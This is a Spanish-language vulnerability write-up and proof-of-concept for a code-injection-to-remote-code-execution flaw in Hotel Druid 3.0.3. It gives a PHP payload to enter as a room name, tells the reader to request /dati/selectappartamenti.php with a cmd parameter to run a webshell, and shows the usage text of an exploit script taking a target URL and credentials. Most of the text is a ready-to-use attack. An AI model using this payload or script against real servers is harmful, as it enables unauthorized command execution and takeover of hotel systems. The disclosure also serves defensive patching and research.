
Hotel Druid 3.0.3 Inyección de Código a Ejecución Remota de Código
Se ha encontrado una vulnerabilidad de inyección de código en la aplicación Hotel Druid v3.0.3, que un atacante podría explotar para ejecutar código remoto en el servidor.
Para una explotación exitosa, un atacante debe tener el privilegio de agregar una nueva habitación.
La vulnerabilidad ocurre porque los nombres de las habitaciones se almacenan dentro de un archivo llamado /dati/selectappartamenti.php usando comillas dobles.
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
Para realizar una explotación exitosa, agregue una habitación con el siguiente payload como nombre de habitación.
{${system($_REQUEST[cmd])}}
Después de agregar una nueva habitación, vaya a /dati/selectappartamenti.php y active la webshell pasando un comando usando el parámetro cmd.
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
Si la aplicación no tiene autenticación.
Utilice la bandera --noauth para no requerir autenticación.

Si el servidor tiene autenticación habilitada, use --username y --password para realizar la autenticación.

Investigador y escritor del PoC - 0z09e